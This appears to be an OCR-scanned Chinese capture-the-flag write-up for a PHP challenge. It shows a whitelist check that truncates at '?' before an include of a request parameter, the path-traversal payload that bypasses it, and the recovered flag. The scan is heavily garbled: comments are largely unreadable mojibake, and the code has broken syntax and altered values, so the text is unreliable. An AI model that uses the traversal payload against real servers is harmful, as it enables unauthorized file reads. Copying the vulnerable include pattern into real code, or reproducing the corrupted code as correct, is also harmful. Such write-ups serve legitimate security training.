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<html lang="en”>

<head>
{meta charset="UTF-8">
{meta name="viewport” content="width=device-width, initial-scale=1.0">
{meta http—equiv="X-UA-Compatible” content="ie=edge”
<title’Document</title>

</head>

<hody >
{!—source. php—

<brr»<img src="https://i.loli. net/2018/11/01/5bdb0d93dec794. jpg” /></body>
</html>
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<?php
highlight file(_ FILE );
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !'is_string($page)) {
echo "you can't see it";

return false;

if (in_array($page, $whitelist)) {

return true;

$ _page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?")
)
if (in_array($_page, $whitelist)) {

return true;

$_page = urldecode($page);
$ _page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
)s
if (in_array($_page, $whitelist)) {
return true;
¥
echo "you can't see it";
return false;

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm: :checkFile($_REQUEST['file'])
) {
include $ REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
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$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
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if (! empty($_REQUEST['file']) //$_REQUEST['file']fHIE=
&& is_string($_REQUEST['file']) //$_REQUEST['file' [E NFFfFH
&& emmm: :checkFile($_REQUEST['file']) //HEWE:
) |
include $ REQUEST['file']; //f&$_REQUEST['file']3Cff

exit;

} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794. jpg\"
//ATERE
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https://www.runoob.com/php/php-is_string-function.html
https://www.w3school.com.cn/php/func_array_in_array.asp
https://www.runoob.com/php/func-string-mb_substr.html

highlight file( FILE_ ); //4TEN{RAY
class emmm //E X emmm
{
public static function checkFile(&$page)// it NS EIR% $page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//F#H$whitelist (H4 ) HENTHAL,
if (! isset($page) || !is_string($page)) {//#i$page’s & NIFAEoE 71T
echo "you can't see it";//#JEl"you can't see it"
return false;//ik[Flfalse

if (in_array($page, $whitelist)) {//#$pageZmfift T-$whitelistHidlrh

return true;//iRlfltrue

$_page = mb_substr(//ZRILE R $page ' 2 AiE s, AL EBEA$page
$page,
0,
mb_strpos($page . '?', '?")

)5

if (in_array($_page, $whitelist)) {//#$_pageTEH FTE T $whitelistAsHH
return true;

$_page = urldecode($page);//urlf#id$page

$_page = mb_substr(//iZVLE~EEHS_pagerh ' ? ' HIEE, LM ICEA$page
$_page,
9,
mb_strpos($_page . '?', '?")

)

if (in_array($_page, $whitelist)) {//#$_pageFEf7fE T $whitelistHdl+F
return true;

¥

echo "you can't see it";

return false;

6. T LA ek B L i S A 44




~ifiE 'j? [I fii
~ifih ’ﬁ call h$page & ’ﬁ fi 4
& BAAAE T $whitelistEd 4,

fEAENR [Etrue
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4LHU % ‘f‘gpayloadmd
Hjln _array($_page, $whitelist)FAITLLA fipayload*ﬁﬁﬂ
SR UERBATEF I Le WA 2, RESEBLAkIT RO RCR

FFileRksT /L, XA

ffffllllaaaaggggH.
h[:{’flagu’”k'

I‘H’m}u /\ "A
WUH- include 'hint.php/flag.txt’

SVEMGIERTEEG, XA/ JETH ) flag . txtEi & giinc lude B £k

A4 payload:
?file=source.php?/FFFFllllaaaagggg

AT BPU IR
] 1 ’iﬂUJpayload:
?file=source.php?../../../../../ffffllllaaaagggg
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2> flag{PZbchc33-fc78-49a4-b864-5bfe85cd592d}
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